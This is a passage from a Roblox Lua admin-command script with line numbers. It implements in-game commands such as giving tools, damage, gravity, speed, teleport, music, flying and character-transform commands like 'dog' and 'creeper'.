  1078. coroutine.resume(coroutine.create(function()
  1079. if v and v:findFirstChild("Backpack") then
  1080. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1081. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1082. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1083. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1084. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1085. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1086. local sb
  1087. local hs
  1088. local pdist
  1089.  
  1090. script.Parent.Selected:connect(function(mouse)
  1091. if not mouse then return end
  1092. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1093. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1094. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1095. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1096. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1097. end)
  1098.  
  1099. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1100. end
  1101. end))
  1102. end
  1103. end
  1104.  
  1105. if msg:lower():sub(1,5) == "give " then
  1106. local chk1 = msg:lower():sub(6):find(" ") + 5
  1107. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1108. for i, v in pairs(plrz) do
  1109. coroutine.resume(coroutine.create(function()
  1110. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1111. for a, tool in pairs(game.Lighting:children()) do
  1112. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1113. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1114. end
  1115. end
  1116. end
  1117. end))
  1118. end
  1119. end
  1120.  
  1121. if msg:lower():sub(1,12) == "removetools " then
  1122. local plrz = GetPlr(plr, msg:lower():sub(13))
  1123. for i, v in pairs(plrz) do
  1124. coroutine.resume(coroutine.create(function()
  1125. if v and v.Character and v:findFirstChild("Backpack") then
  1126. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1127. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1128. end
  1129. end))
  1130. end
  1131. end
  1132.  
  1133. if msg:lower():sub(1,5) == "rank " then
  1134. local chk1 = msg:lower():sub(6):find(" ") + 5
  1135. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1136. for i, v in pairs(plrz) do
  1137. coroutine.resume(coroutine.create(function()
  1138. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1139. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1140. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1141. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1142. end
  1143. end))
  1144. end
  1145. end
  1146.  
  1147. if msg:lower():sub(1,7) == "damage " then
  1148. local chk1 = msg:lower():sub(8):find(" ") + 7
  1149. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1150. for i, v in pairs(plrz) do
  1151. coroutine.resume(coroutine.create(function()
  1152. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1153. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1154. end
  1155. end))
  1156. end
  1157. end
  1158.  
  1159. if msg:lower():sub(1,5) == "grav " then
  1160. local plrz = GetPlr(plr, msg:lower():sub(6))
  1161. for i, v in pairs(plrz) do
  1162. coroutine.resume(coroutine.create(function()
  1163. if v and v.Character and v.Character:findFirstChild("Torso") then
  1164. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1165. end
  1166. end))
  1167. end
  1168. end
  1169.  
  1170. if msg:lower():sub(1,8) == "setgrav " then
  1171. local chk1 = msg:lower():sub(9):find(" ") + 8
  1172. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1173. for i, v in pairs(plrz) do
  1174. coroutine.resume(coroutine.create(function()
  1175. if v and v.Character and v.Character:findFirstChild("Torso") then
  1176. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1177. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1178. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1179. end
  1180. end))
  1181. end
  1182. end
  1183.  
  1184. if msg:lower():sub(1,7) == "nograv " then
  1185. local plrz = GetPlr(plr, msg:lower():sub(8))
  1186. for i, v in pairs(plrz) do
  1187. coroutine.resume(coroutine.create(function()
  1188. if v and v.Character and v.Character:findFirstChild("Torso") then
  1189. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1190. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1191. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1192. end
  1193. end))
  1194. end
  1195. end
  1196.  
  1197. if msg:lower():sub(1,7) == "health " then
  1198. local chk1 = msg:lower():sub(8):find(" ") + 7
  1199. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1200. for i, v in pairs(plrz) do
  1201. coroutine.resume(coroutine.create(function()
  1202. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1203. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1204. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1205. end
  1206. end))
  1207. end
  1208. end
  1209.  
  1210. if msg:lower():sub(1,6) == "speed " then
  1211. local chk1 = msg:lower():sub(7):find(" ") + 6
  1212. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1213. for i, v in pairs(plrz) do
  1214. coroutine.resume(coroutine.create(function()
  1215. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1216. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1217. end
  1218. end))
  1219. end
  1220. end
  1221.  
  1222. if msg:lower():sub(1,5) == "team " then
  1223. local chk1 = msg:lower():sub(6):find(" ") + 5
  1224. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1225. for i, v in pairs(plrz) do
  1226. coroutine.resume(coroutine.create(function()
  1227. if v and game:findFirstChild("Teams") then
  1228. for a, tm in pairs(game.Teams:children()) do
  1229. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1230. end
  1231. end
  1232. end))
  1233. end
  1234. end
  1235.  
  1236. if msg:lower():sub(1,6) == "place " then
  1237. local chk1 = msg:lower():sub(7):find(" ") + 6
  1238. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1239. for i, v in pairs(plrz) do
  1240. coroutine.resume(coroutine.create(function()
  1241. if v and v:findFirstChild("PlayerGui") then
  1242. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1243. end
  1244. end))
  1245. end
  1246. end
  1247.  
  1248. if msg:lower():sub(1,3) == "tp " then
  1249. local chk1 = msg:lower():sub(4):find(" ") + 3
  1250. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1251. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1252. for i, v in pairs(plrz) do
  1253. coroutine.resume(coroutine.create(function()
  1254. for i2, v2 in pairs(plrz2) do
  1255. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1256. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1257. end
  1258. end
  1259. end))
  1260. end
  1261. end
  1262.  
  1263. if msg:lower():sub(1,7) == "change " then
  1264. local chk1 = msg:lower():sub(8):find(" ") + 7
  1265. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1266. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1267. for i, v in pairs(plrz) do
  1268. coroutine.resume(coroutine.create(function()
  1269. if v and v:findFirstChild("leaderstats") then
  1270. for a, st in pairs(v.leaderstats:children()) do
  1271. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1272. end
  1273. end
  1274. end))
  1275. end
  1276. end
  1277.  
  1278. if msg:lower():sub(1,6) == "shirt " then
  1279. local chk1 = msg:lower():sub(7):find(" ") + 6
  1280. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1281. for i, v in pairs(plrz) do
  1282. coroutine.resume(coroutine.create(function()
  1283. if v and v.Character then
  1284. for i,v in pairs(v.Character:children()) do
  1285. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1286. end
  1287. end
  1288. end))
  1289. end
  1290. end
  1291.  
  1292. if msg:lower():sub(1,6) == "pants " then
  1293. local chk1 = msg:lower():sub(7):find(" ") + 6
  1294. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1295. for i, v in pairs(plrz) do
  1296. coroutine.resume(coroutine.create(function()
  1297. if v and v.Character then
  1298. for i,v in pairs(v.Character:children()) do
  1299. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1300. end
  1301. end
  1302. end))
  1303. end
  1304. end
  1305.  
  1306. if msg:lower():sub(1,5) == "face " then
  1307. local chk1 = msg:lower():sub(6):find(" ") + 5
  1308. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1309. for i, v in pairs(plrz) do
  1310. coroutine.resume(coroutine.create(function()
  1311. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1312. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1313. end
  1314. end))
  1315. end
  1316. end
  1317.  
  1318. ------------------
  1319. -- Fun Commands --
  1320. ------------------
  1321. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1322.  
  1323. if msg:lower():sub(1,8) == "swagify " then
  1324. local plrz = GetPlr(plr, msg:lower():sub(9))
  1325. for i, v in pairs(plrz) do
  1326. coroutine.resume(coroutine.create(function()
  1327. if v and v.Character then
  1328. for i,v in pairs(v.Character:children()) do
  1329. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1330. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1331. end
  1332. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1333. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1334. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1335. local torso = plr.Character.Torso
  1336. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1337. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1338. p.Size = Vector3.new(.2,.2,.2)
  1339. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1340. local motor1 = Instance.new("Motor", p)
  1341. motor1.Part0 = p
  1342. motor1.Part1 = torso
  1343. motor1.MaxVelocity = .01
  1344. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1345. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1346. local wave = false
  1347. repeat wait(1/44)
  1348. local ang = 0.1
  1349. local oldmag = torso.Velocity.magnitude
  1350. local mv = .002
  1351. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1352. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1353. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1354. motor1.DesiredAngle = -ang
  1355. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1356. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1357. if torso.Velocity.magnitude < .1 then wait(.1) end
  1358. until not p or p.Parent ~= torso.Parent
  1359. script:Destroy()
  1360. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1361. end
  1362. end))
  1363. end
  1364. end
  1365.  
  1366. if msg:lower():sub(1,6) == "music " then
  1367. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1368. local id = msg:sub(7)
  1369. local pitch = 1
  1370. if tostring(id):lower():find("caramell") then id = 2303479 end
  1371. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1372. if tostring(id):find("rick") then id = 2027611 end
  1373. if tostring(id):find("halo") then id = 1034065 end
  1374. if tostring(id):find("pokemon") then id = 1372261 end
  1375. if tostring(id):find("cursed") then id = 1372257 end
  1376. if tostring(id):find("extreme") then id = 11420933 end
  1377. if tostring(id):find("awaken") then id = 27697277 end
  1378. if tostring(id):find("alone") then id = 27697392 end
  1379. if tostring(id):find("mario") then id = 1280470 end
  1380. if tostring(id):find("choir") then id = 1372258 end
  1381. if tostring(id):find("chrono") then id = 1280463 end
  1382. if tostring(id):find("dotr") then id = 11420922 end
  1383. if tostring(id):find("entertain") then id = 27697267 end
  1384. if tostring(id):find("fantasy") then id = 1280473 end
  1385. if tostring(id):find("final") then id = 1280414 end
  1386. if tostring(id):find("emblem") then id = 1372259 end
  1387. if tostring(id):find("flight") then id = 27697719 end
  1388. if tostring(id):find("banjo") then id = 27697298 end
  1389. if tostring(id):find("gothic") then id = 27697743 end
  1390. if tostring(id):find("hiphop") then id = 27697735 end
  1391. if tostring(id):find("intro") then id = 27697707 end
  1392. if tostring(id):find("mule") then id = 1077604 end
  1393. if tostring(id):find("film") then id = 27697713 end
  1394. if tostring(id):find("nezz") then id = 8610025 end
  1395. if tostring(id):find("angel") then id = 1372260 end
  1396. if tostring(id):find("resist") then id = 27697234 end
  1397. if tostring(id):find("schala") then id = 5985787 end
  1398. if tostring(id):find("organ") then id = 11231513 end
  1399. if tostring(id):find("tunnel") then id = 9650822 end
  1400. if tostring(id):find("spanish") then id = 5982975 end
  1401. if tostring(id):find("venom") then id = 1372262 end
  1402. if tostring(id):find("wind") then id = 1015394 end
  1403. if tostring(id):find("guitar") then id = 5986151 end
  1404. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1405. end
  1406.  
  1407. if msg:lower() == "stopmusic" then
  1408. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1409. end
  1410.  
  1411. if msg:lower() == "musiclist" then
  1412. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1413. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1414. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1415. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1416. end
  1417.  
  1418. if msg:lower():sub(1,4) == "fly " then
  1419. local plrz = GetPlr(plr, msg:lower():sub(5))
  1420. for i, v in pairs(plrz) do
  1421. coroutine.resume(coroutine.create(function()
  1422. if v and v:findFirstChild("PlayerGui") then
  1423. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1424. cl.Parent = v.PlayerGui cl.Disabled = false
  1425. end
  1426. end))
  1427. end
  1428. end
  1429.  
  1430. if msg:lower():sub(1,6) == "unfly " then
  1431. local plrz = GetPlr(plr, msg:lower():sub(7))
  1432. for i, v in pairs(plrz) do
  1433. coroutine.resume(coroutine.create(function()
  1434. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1435. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1436. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1437. wait(.1) v.Character.Humanoid.PlatformStand = false
  1438. end
  1439. end))
  1440. end
  1441. end
  1442.  
  1443. if msg:lower() == "disco" then
  1444. for i, v in pairs(lobjs) do v:Destroy() end
  1445. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1446. game.Lighting.Ambient = color
  1447. game.Lighting.FogColor = color
  1448. until nil]]
  1449. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1450. end
  1451.  
  1452. if msg:lower() == "flash" then
  1453. for i, v in pairs(lobjs) do v:Destroy() end
  1454. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1455. game.Lighting.Ambient = Color3.new(1,1,1)
  1456. game.Lighting.FogColor = Color3.new(1,1,1)
  1457. game.Lighting.Brightness = 1
  1458. game.Lighting.TimeOfDay = 14
  1459. wait(.1)
  1460. game.Lighting.Ambient = Color3.new(0,0,0)
  1461. game.Lighting.FogColor = Color3.new(0,0,0)
  1462. game.Lighting.Brightness = 0
  1463. game.Lighting.TimeOfDay = 0
  1464. until nil]]
  1465. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1466. end
  1467.  
  1468. if msg:lower():sub(1,5) == "spin " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(6))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v.Character and v.Character:findFirstChild("Torso") then
  1473. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1474. local torso = v.Character:findFirstChild("Torso")
  1475. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1476. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1477. until not bg or bg.Parent ~= torso
  1478. end
  1479. end))
  1480. end
  1481. end
  1482.  
  1483. if msg:lower():sub(1,7) == "unspin " then
  1484. local plrz = GetPlr(plr, msg:lower():sub(8))
  1485. for i, v in pairs(plrz) do
  1486. coroutine.resume(coroutine.create(function()
  1487. if v and v.Character and v.Character:findFirstChild("Torso") then
  1488. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1489. end
  1490. end))
  1491. end
  1492. end
  1493.  
  1494. if msg:lower():sub(1,4) == "dog " then
  1495. local plrz = GetPlr(plr, msg:lower():sub(5))
  1496. for i, v in pairs(plrz) do
  1497. coroutine.resume(coroutine.create(function()
  1498. if v and v.Character and v.Character:findFirstChild("Torso") then
  1499. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1500. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1501. v.Character.Torso.Transparency = 1
  1502. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1503. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1504. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1505. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1506. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1507. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1508. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1509. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1510. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1511. end
  1512. end))
  1513. end
  1514. end
  1515.  
  1516. if msg:lower():sub(1,6) == "undog " then
  1517. local plrz = GetPlr(plr, msg:lower():sub(7))
  1518. for i, v in pairs(plrz) do
  1519. coroutine.resume(coroutine.create(function()
  1520. if v and v.Character and v.Character:findFirstChild("Torso") then
  1521. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1522. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1523. v.Character.Torso.Transparency = 0
  1524. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1525. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1526. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1527. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1528. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1529. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1530. end
  1531. end))
  1532. end
  1533. end
  1534.  
  1535. if msg:lower():sub(1,8) == "creeper " then
  1536. local plrz = GetPlr(plr, msg:lower():sub(9))
  1537. for i, v in pairs(plrz) do
  1538. coroutine.resume(coroutine.create(function()
  1539. if v and v.Character and v.Character:findFirstChild("Torso") then
  1540. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1541. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1542. v.Character.Torso.Transparency = 0
  1543. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1544. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1545. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1546. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1547. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1548. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1549. end
  1550. end))
  1551. end
  1552. end
  1553.  
  1554. if msg:lower():sub(1,10) == "uncreeper " then
  1555. local plrz = GetPlr(plr, msg:lower():sub(11))
  1556. for i, v in pairs(plrz) do
  1557. coroutine.resume(coroutine.create(function()
  1558. if v and v.Character and v.Character:findFirstChild("Torso") then
  1559. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1560. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1561. v.Character.Torso.Transparency = 0
  1562. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1563. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1564. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1565. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1566. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
